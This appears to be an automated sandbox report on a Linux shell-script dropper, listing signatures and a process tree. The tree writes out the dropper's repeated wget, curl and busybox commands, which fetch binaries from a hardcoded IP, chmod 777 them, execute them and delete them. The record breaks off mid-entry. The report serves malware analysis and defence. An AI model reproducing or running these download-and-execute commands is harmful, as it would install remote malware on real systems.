7b26e1067afb6e7ff3edc8cc34bd25819a0439cedcfefe6e8a9a28cb62b56277

Analysis

max time kernel
58s
max time network
60s
platform
debian-9_mips
resource
debian9-mipsbe-20240418-en
resource tags

arch:mipsimage:debian9-mipsbe-20240418-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
22/11/2024, 02:39

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
7b26e1067afb6e7ff3edc8cc34bd25819a0439cedcfefe6e8a9a28cb62b56277.sh
Size 10KB
Sample241122-c5q8dssph1
SHA256 7b26e1067afb6e7ff3edc8cc34bd25819a0439cedcfefe6e8a9a28cb62b56277
MD5 0a7d8be88ccc96d0d1a91c27f63e3a6c
SHA1 ba922eff12ebe57a6064f8773d16d9a51cde88f1
SHA512 3279e6ff5af91dc2a1ec24a55dcfa8fb40b686359dcc57febf40fa24673159ee6946521e9e8212d9ea533e160e94041cc66c442130019c5d3dc537cfb83e48b3
SSDEEP 192:my+UaEM28EdM7z3479lW7LvcN1vL+Us+U0+UEdUTUHUFCOv9lMLv3BfBx7amn78V:nxMQiCSyW5dCyh/xCeyW5dCyY
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 28 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
876	chmod
958	chmod
1006	chmod
1012	chmod
1000	chmod
771	chmod
853	chmod
790	chmod
836	chmod
952	chmod
982	chmod
778	chmod
811	chmod
910	chmod
916	chmod
847	chmod
940	chmod
976	chmod
970	chmod
895	chmod
934	chmod
901	chmod
922	chmod
928	chmod
988	chmod
946	chmod
964	chmod
994	chmod

Executes dropped EXE 28 IoCs

Reads runtime system information 28 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/YCnuHC0u0DjgERQOBQlOAcckWPLnk2qNbu	curl
File opened for modification	/tmp/YCnuHC0u0DjgERQOBQlOAcckWPLnk2qNbu	curl
File opened for modification	/tmp/AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI	curl
File opened for modification	/tmp/UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G	curl
File opened for modification	/tmp/Nfs1F7PfBZSF5WdfapMbJC07hG8L2urNXq	curl
File opened for modification	/tmp/mzqvBUlcGTSOB2frNbMnfUnjEAIrWsP8zH	curl
File opened for modification	/tmp/7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD	curl
File opened for modification	/tmp/jVULw0cLkzqn5Nvg0V0BLfOMCpqEcBTGPL	curl
File opened for modification	/tmp/7Vcp2MegAZEnA2p38J6BB6vba5Rn75CWkb	curl
File opened for modification	/tmp/AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI	curl
File opened for modification	/tmp/Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL	curl
File opened for modification	/tmp/jVULw0cLkzqn5Nvg0V0BLfOMCpqEcBTGPL	curl
File opened for modification	/tmp/Nfs1F7PfBZSF5WdfapMbJC07hG8L2urNXq	curl
File opened for modification	/tmp/mzqvBUlcGTSOB2frNbMnfUnjEAIrWsP8zH	curl
File opened for modification	/tmp/XTnoPSn5DsJHGzmKRgW8S0senpmoojojZ5	curl
File opened for modification	/tmp/XTnoPSn5DsJHGzmKRgW8S0senpmoojojZ5	curl
File opened for modification	/tmp/7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD	curl
File opened for modification	/tmp/0sThW9ei0gGT8nX91Izp157RLtJuQC6YHw	curl
File opened for modification	/tmp/tJS3l0KJDKZRMeCfgNcjvioMmHj64fpBbj	curl
File opened for modification	/tmp/Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL	curl
File opened for modification	/tmp/UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G	curl
File opened for modification	/tmp/T70t952DDmCI9FMME49s5SlUXrw2wnwUUV	curl
File opened for modification	/tmp/T70t952DDmCI9FMME49s5SlUXrw2wnwUUV	curl
File opened for modification	/tmp/PyPBFPR0Pt6tB4XseU1Sv57NhFI180mDAB	curl
File opened for modification	/tmp/PyPBFPR0Pt6tB4XseU1Sv57NhFI180mDAB	curl
File opened for modification	/tmp/0sThW9ei0gGT8nX91Izp157RLtJuQC6YHw	curl
File opened for modification	/tmp/7Vcp2MegAZEnA2p38J6BB6vba5Rn75CWkb	curl
File opened for modification	/tmp/tJS3l0KJDKZRMeCfgNcjvioMmHj64fpBbj	curl

/tmp/7b26e1067afb6e7ff3edc8cc34bd25819a0439cedcfefe6e8a9a28cb62b56277.sh
/tmp/7b26e1067afb6e7ff3edc8cc34bd25819a0439cedcfefe6e8a9a28cb62b56277.sh
1⤵
PID:743
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:747
- /usr/bin/wget
  wget http://87.120.125.191/bins/AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI
  2⤵
  PID:749
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:762
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI
  2⤵
  PID:769
- /bin/chmod
  chmod 777 AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI
  2⤵
  - File and Directory Permissions Modification
  PID:771
- /tmp/AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI
  ./AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI
  2⤵
  - Executes dropped EXE
  PID:772
- /bin/rm
  rm AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI
  2⤵
  PID:773
- /usr/bin/wget
  wget http://87.120.125.191/bins/Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
  2⤵
  PID:775
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:776
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
  2⤵
  PID:777
- /bin/chmod
  chmod 777 Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
  2⤵
  - File and Directory Permissions Modification
  PID:778
- /tmp/Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
  ./Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
  2⤵
  - Executes dropped EXE
  PID:779
- /bin/rm
  rm Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
  2⤵
  PID:780
- /usr/bin/wget
  wget http://87.120.125.191/bins/7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
  2⤵
  PID:781
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:782
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
  2⤵
  PID:786
- /bin/chmod
  chmod 777 7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
  2⤵
  - File and Directory Permissions Modification
  PID:790
- /tmp/7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
  ./7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
  2⤵
  - Executes dropped EXE
  PID:791
- /bin/rm
  rm 7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
  2⤵
  PID:794
- /usr/bin/wget
  wget http://87.120.125.191/bins/jVULw0cLkzqn5Nvg0V0BLfOMCpqEcBTGPL
  2⤵
  PID:795
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/jVULw0cLkzqn5Nvg0V0BLfOMCpqEcBTGPL
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:802
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/jVULw0cLkzqn5Nvg0V0BLfOMCpqEcBTGPL
  2⤵
  PID:807
- /bin/chmod
  chmod 777 jVULw0cLkzqn5Nvg0V0BLfOMCpqEcBTGPL
  2⤵
  - File and Directory Permissions Modification
  PID:811
- /tmp/jVULw0cLkzqn5Nvg0V0BLfOMCpqEcBTGPL
  ./jVULw0cLkzqn5Nvg0V0BLfOMCpqEcBTGPL
  2⤵
  - Executes dropped EXE
  PID:813
- /bin/rm
  rm jVULw0cLkzqn5Nvg0V0BLfOMCpqEcBTGPL
  2⤵
  PID:816
- /usr/bin/wget
  wget http://87.120.125.191/bins/UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G
  2⤵
  PID:817
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:822
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G
  2⤵
  PID:833
- /bin/chmod
  chmod 777 UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G
  2⤵
  - File and Directory Permissions Modification
  PID:836
- /tmp/UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G
  ./UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G
  2⤵
  - Executes dropped EXE
  PID:837
- /bin/rm
  rm UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G
  2⤵
  PID:841
- /usr/bin/wget
  wget http://87.120.125.191/bins/T70t952DDmCI9FMME49s5SlUXrw2wnwUUV
  2⤵
  PID:842
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/T70t952DDmCI9FMME49s5SlUXrw2wnwUUV
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:845
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/T70t952DDmCI9FMME49s5SlUXrw2wnwUUV
  2⤵
  PID:846
- /bin/chmod
  chmod 777 T70t952DDmCI9FMME49s5SlUXrw2wnwUUV
  2⤵
  - File and Directory Permissions Modification
  PID:847
- /tmp/T70t952DDmCI9FMME49s5SlUXrw2wnwUUV
  ./T70t952DDmCI9FMME49s5SlUXrw2wnwUUV
  2⤵
  - Executes dropped EXE
  PID:848
- /bin/rm
  rm T70t952DDmCI9FMME49s5SlUXrw2wnwUUV
  2⤵
  PID:849
- /usr/bin/wget
  wget http://87.120.125.191/bins/7Vcp2MegAZEnA2p38J6BB6vba5Rn75CWkb
  2⤵
  PID:850
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/7Vcp2MegAZEnA2p38J6BB6vba5Rn75CWkb
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:851
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/7Vcp2MegAZEnA2p38J6BB6vba5Rn75CWkb
  2⤵
  PID:852
- /bin/chmod
  chmod 777 7Vcp2MegAZEnA2p38J6BB6vba5Rn75CWkb
  2⤵
  - File and Directory Permissions Modification
  PID:853
- /tmp/7Vcp2MegAZEnA2p38J6BB6vba5Rn75CWkb
  ./7Vcp2MegAZEnA2p38J6BB6vba5Rn75CWkb
  2⤵
  - Executes dropped EXE
  PID:854
- /bin/rm
  rm 7Vcp2MegAZEnA2p38J6BB6vba5Rn75CWkb
  2⤵
  PID:857
- /usr/bin/wget
  wget http://87.120.125.191/bins/Nfs1F7PfBZSF5WdfapMbJC07hG8L2urNXq
  2⤵
  PID:858
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/Nfs1F7PfBZSF5WdfapMbJC07hG8L2urNXq
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:863
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/Nfs1F7PfBZSF5WdfapMbJC07hG8L2urNXq
  2⤵
  PID:872
- /bin/chmod
  chmod 777 Nfs1F7PfBZSF5WdfapMbJC07hG8L2urNXq
  2⤵
  - File and Directory Permissions Modification
  PID:876
- /tmp/Nfs1F7PfBZSF5WdfapMbJC07hG8L2urNXq
  ./Nfs1F7PfBZSF5WdfapMbJC07hG8L2urNXq
  2⤵
  - Executes dropped EXE
  PID:878
- /bin/rm
  rm Nfs1F7PfBZSF5WdfapMbJC07hG8L2urNXq
  2⤵
  PID:881
- /usr/bin/wget
  wget http://87.120.125.191/bins/YCnuHC0u0DjgERQOBQlOAcckWPLnk2qNbu
  2⤵
  PID:882
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/YCnuHC0u0DjgERQOBQlOAcckWPLnk2qNbu
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:888
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/YCnuHC0u0DjgERQOBQlOAcckWPLnk2qNbu
  2⤵
  PID:894
- /bin/chmod
  chmod 777 YCnuHC0u0DjgERQOBQlOAcckWPLnk2qNbu
  2⤵
  - File and Directory Permissions Modification
  PID:895
- /tmp/YCnuHC0u0DjgERQOBQlOAcckWPLnk2qNbu
  ./YCnuHC0u0DjgERQOBQlOAcckWPLnk2qNbu
  2⤵
  - Executes dropped EXE
  PID:896
- /bin/rm
  rm YCnuHC0u0DjgERQOBQlOAcckWPLnk2qNbu
  2⤵
  PID:897
- /usr/bin/wget
  wget http://87.120.125.191/bins/0sThW9ei0gGT8nX91Izp157RLtJuQC6YHw
  2⤵
  PID:898
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/0sThW9ei0gGT8nX91Izp157RLtJuQC6YHw
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:899
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/0sThW9ei0gGT8nX91Izp157RLtJuQC6YHw
  2⤵
  PID:900
- /bin/chmod
  chmod 777 0sThW9ei0gGT8nX91Izp157RLtJuQC6YHw
  2⤵
  - File and Directory Permissions Modification
  PID:901
- /tmp/0sThW9ei0gGT8nX91Izp157RLtJuQC6YHw
  ./0sThW9ei0gGT8nX91Izp157RLtJuQC6YHw
  2⤵
  - Executes dropped EXE
  PID:902
- /bin/rm
  rm 0sThW9ei0gGT8nX91Izp157RLtJuQC6YHw
  2⤵
  PID:903
- /usr/bin/wget
  wget http://87.120.125.191/bins/PyPBFPR0Pt6tB4XseU1Sv57NhFI180mDAB
  2⤵
  PID:904
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/PyPBFPR0Pt6tB4XseU1Sv57NhFI180mDAB
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:905
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/PyPBFPR0Pt6tB4XseU1Sv57NhFI180mDAB
  2⤵
  PID:906
- /bin/chmod
  chmod 777 PyPBFPR0Pt6tB4XseU1Sv57NhFI180mDAB
  2⤵
  - File and Directory Permissions Modification
  PID:910
- /tmp/PyPBFPR0Pt6tB4XseU1Sv57NhFI180mDAB
  ./PyPBFPR0Pt6tB4XseU1Sv57NhFI180mDAB
  2⤵
  - Executes dropped EXE
  PID:911
- /bin/rm
  rm PyPBFPR0Pt6tB4XseU1Sv57NhFI180mDAB
  2⤵
  PID:912
- /usr/bin/wget
  wget http://87.120.125.191/bins/mzqvBUlcGTSOB2frNbMnfUnjEAIrWsP8zH
  2⤵
  PID:913
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/mzqvBUlcGTSOB2frNbMnfUnjEAIrWsP8zH
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:914
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/mzqvBUlcGTSOB2frNbMnfUnjEAIrWsP8zH
  2⤵
  PID:915
- /bin/chmod
  chmod 777 mzqvBUlcGTSOB2frNbMnfUnjEAIrWsP8zH
  2⤵
  - File and Directory Permissions Modification
  PID:916
- /tmp/mzqvBUlcGTSOB2frNbMnfUnjEAIrWsP8zH
  ./mzqvBUlcGTSOB2frNbMnfUnjEAIrWsP8zH
  2⤵
  - Executes dropped EXE
  PID:917
- /bin/rm
  rm mzqvBUlcGTSOB2frNbMnfUnjEAIrWsP8zH
  2⤵
  PID:918
- /usr/bin/wget
  wget http://87.120.125.191/bins/tJS3l0KJDKZRMeCfgNcjvioMmHj64fpBbj
  2⤵
  PID:919
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/tJS3l0KJDKZRMeCfgNcjvioMmHj64fpBbj
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:920
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/tJS3l0KJDKZRMeCfgNcjvioMmHj64fpBbj
  2⤵
  PID:921
- /bin/chmod
  chmod 777 tJS3l0KJDKZRMeCfgNcjvioMmHj64fpBbj
  2⤵
  - File and Directory Permissions Modification
  PID:922
- /tmp/tJS3l0KJDKZRMeCfgNcjvioMmHj64fpBbj
  ./tJS3l0KJDKZRMeCfgNcjvioMmHj64fpBbj
  2⤵
  - Executes dropped EXE
  PID:923
- /bin/rm
  rm tJS3l0KJDKZRMeCfgNcjvioMmHj64fpBbj
  2⤵
  PID:924
- /usr/bin/wget
  wget http://87.120.125.191/bins/XTnoPSn5DsJHGzmKRgW8S0senpmoojojZ5
  2⤵
  PID:925
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/XTnoPSn5DsJHGzmKRgW8S0senpmoojojZ5
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:926
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/XTnoPSn5DsJHGzmKRgW8S0senpmoojojZ5
  2⤵
  PID:927
- /bin/chmod
  chmod 777 XTnoPSn5DsJHGzmKRgW8S0senpmoojojZ5
  2⤵
  - File and Directory Permissions Modification
  PID:928
- /tmp/XTnoPSn5DsJHGzmKRgW8S0senpmoojojZ5
  ./XTnoPSn5DsJHGzmKRgW8S0senpmoojojZ5
  2⤵
  - Executes dropped EXE
  PID:929
- /bin/rm
  rm XTnoPSn5DsJHGzmKRgW8S0senpmoojojZ5
  2⤵
  PID:930
- /usr/bin/wget
  wget http://87.120.125.191/bins/T70t952DDmCI9FMME49s5SlUXrw2wnwUUV
  2⤵
  PID:931
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/T70t952DDmCI9FMME49s5SlUXrw2wnwUUV
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:932
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/T70t952DDmCI9FMME49s5SlUXrw2wnwUUV
  2⤵
  PID:933
- /bin/chmod
  chmod 777 T70t952DDmCI9FMME49s5SlUXrw2wnwUUV
  2⤵
  - File and Directory Permissions Modification
  PID:934
- /tmp/T70t952DDmCI9FMME49s5SlUXrw2wnwUUV
  ./T70t952DDmCI9FMME49s5SlUXrw2wnwUUV
  2⤵
  - Executes dropped EXE
  PID:935
- /bin/rm
  rm T70t952DDmCI9FMME49s5SlUXrw2wnwUUV
  2⤵
  PID:936
- /usr/bin/wget
  wget http://87.120.125.191/bins/AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI
  2⤵
  PID:937
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:938
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI
  2⤵
  PID:939
- /bin/chmod
  chmod 777 AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI
  2⤵
  - File and Directory Permissions Modification
  PID:940
- /tmp/AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI
  ./AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI
  2⤵
  - Executes dropped EXE
  PID:941
- /bin/rm
  rm AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI
  2⤵
  PID:942
- /usr/bin/wget
  wget http://87.120.125.191/bins/Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
  2⤵
  PID:943
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:944
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
  2⤵
  PID:945
- /bin/chmod
  chmod 777 Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
  2⤵
  - File and Directory Permissions Modification
  PID:946
- /tmp/Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
  ./Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
  2⤵
  - Executes dropped EXE
  PID:947
- /bin/rm
  rm Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
  2⤵
  PID:948
- /usr/bin/wget
  wget http://87.120.125.191/bins/7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
  2⤵
  PID:949
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:950
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
  2⤵
  PID:951
- /bin/chmod
  chmod 777 7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
  2⤵
  - File and Directory Permissions Modification
  PID:952
- /tmp/7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
  ./7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
  2⤵
  - Executes dropped EXE
  PID:953
- /bin/rm
  rm 7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
  2⤵
  PID:954
- /usr/bin/wget
  wget http://87.120.125.191/bins/jVULw0cLkzqn5Nvg0V0BLfOMCpqEcBTGPL
  2⤵
  PID:955
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/jVULw0cLkzqn5Nvg0V0BLfOMCpqEcBTGPL
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:956
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/jVULw0cLkzqn5Nvg0V0BLfOMCpqEcBTGPL
  2⤵
  PID:957
- /bin/chmod
  chmod 777 jVULw0cLkzqn5Nvg0V0BLfOMCpqEcBTGPL
  2⤵
  - File and Directory Permissions Modification
  PID:958
- /tmp/jVULw0cLkzqn5Nvg0V0BLfOMCpqEcBTGPL
  ./jVULw0cLkzqn5Nvg0V0BLfOMCpqEcBTGPL
  2⤵
  - Executes dropped EXE
  PID:959
- /bin/rm
  rm jVULw0cLkzqn5Nvg0V0BLfOMCpqEcBTGPL
  2⤵
  PID:960
- /usr/bin/wget
  wget http://87.120.125.191/bins/UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G
  2⤵
  PID:961
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:962
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G
  2⤵
  PID:963
- /bin/chmod
  chmod 777 UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G
  2⤵
  - File and Directory Permissions Modification
  PID:964
- /tmp/UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G
  ./UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G
  2⤵
  - Executes dropped EXE
  PID:965
- /bin/rm
  rm UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G
  2⤵
  PID:966
- /usr/bin/wget
  wget http://87.120.125.191/bins/7Vcp2MegAZEnA2p38J6BB6vba5Rn75CWkb
  2⤵
  PID:967
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/7Vcp2MegAZEnA2p38J6BB6vba5Rn75CWkb
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:968
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/7Vcp2MegAZEnA2p38J6BB6vba5Rn75CWkb
  2⤵
  PID:969
- /bin/chmod
  chmod 777 7Vcp2MegAZEnA2p38J6BB6vba5Rn75CWkb
  2⤵
  - File and Directory Permissions Modification
  PID:970
- /tmp/7Vcp2MegAZEnA2p38J6BB6vba5Rn75CWkb
  ./7Vcp2MegAZEnA2p38J6BB6vba5Rn75CWkb
  2⤵
  - Executes dropped EXE
  PID:971
- /bin/rm
  rm 7Vcp2MegAZEnA2p38J6BB6vba5Rn75CWkb
  2⤵
  PID:972
- /usr/bin/wget
  wget http://87.120.125.191/bins/Nfs1F7PfBZSF5WdfapMbJC07hG8L2urNXq
  2⤵
  PID:973
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/Nfs1F7PfBZSF5WdfapMbJC07hG8L2urNXq
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:974
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/Nfs1F7PfBZSF5WdfapMbJC07hG8L2urNXq
  2⤵
  PID:975
- /bin/chmod
  chmod 777 Nfs1F7PfBZSF5WdfapMbJC07hG8L2urNXq
  2⤵
  - File and Directory Permissions Modification
  PID:976
- /tmp/Nfs1F7PfBZSF5WdfapMbJC07hG8L2urNXq
  ./Nfs1F7PfBZSF5WdfapMbJC07hG8L2urNXq
  2⤵
  - Executes dropped EXE
  PID:977
- /bin/rm
  rm Nfs1F7PfBZSF5WdfapMbJC07hG8L2urNXq
  2⤵
  PID:978
- /usr/bin/wget
  wget http://87.120.125.191/bins/YCnuHC0u0DjgERQOBQlOAcckWPLnk2qNbu
  2⤵
  PID:979
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/YCnuHC0u0DjgERQOBQlOAcckWPLnk2qNbu
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:980
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/YCnuHC0u0DjgERQOBQlOAcckWPLnk2qNbu
  2⤵
  PID:981
- /bin/chmod
  chmod 777 YCnuHC0u0DjgERQOBQlOAcckWPLnk2qNbu
  2⤵
  - File and Directory Permissions Modification
  PID:982
- /tmp/YCnuHC0u0DjgERQOBQlOAcckWPLnk2qNbu
  ./YCnuHC0u0DjgERQOBQlOAcckWPLnk2qNbu
  2⤵
  - Executes dropped EXE
  PID:983
- /bin/rm
  rm YCnuHC0u0DjgERQOBQlOAcckWPLnk2qNbu
  2⤵
  PID:984
- /usr/bin/wget
  wget http://87.120.125.191/bins/0sThW9ei0gGT8nX91Izp157RLtJuQC6YHw
  2⤵
  PID:985
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/0sThW9ei0gGT8nX91Izp157RLtJuQC6YHw
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:986
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/0sThW9ei0gGT8nX91Izp157RLtJuQC6YHw
  2⤵
  PID:987
- /bin/chmod
  chmod 777 0sThW9ei0gGT8nX91Izp157RLtJuQC6YHw
  2⤵
  - File and Directory Permissions Modification
  PID:988
- /tmp/0sThW9ei0gGT8nX91Izp157RLtJuQC6YHw
  ./0sThW9ei0gGT8nX91Izp157RLtJuQC6YHw
  2⤵
  - Executes dropped EXE
  PID:989
- /bin/rm
  rm 0sThW9ei0gGT8nX91Izp157RLtJuQC6YHw
  2⤵
  PID:990
- /usr/bin/wget
  wget http://87.120.125.191/bins/PyPBFPR0Pt6tB4XseU1Sv57NhFI180mDAB
  2⤵
  PID:991
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/PyPBFPR0Pt6tB4XseU1Sv57NhFI180mDAB
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:992
- /bin/busybox
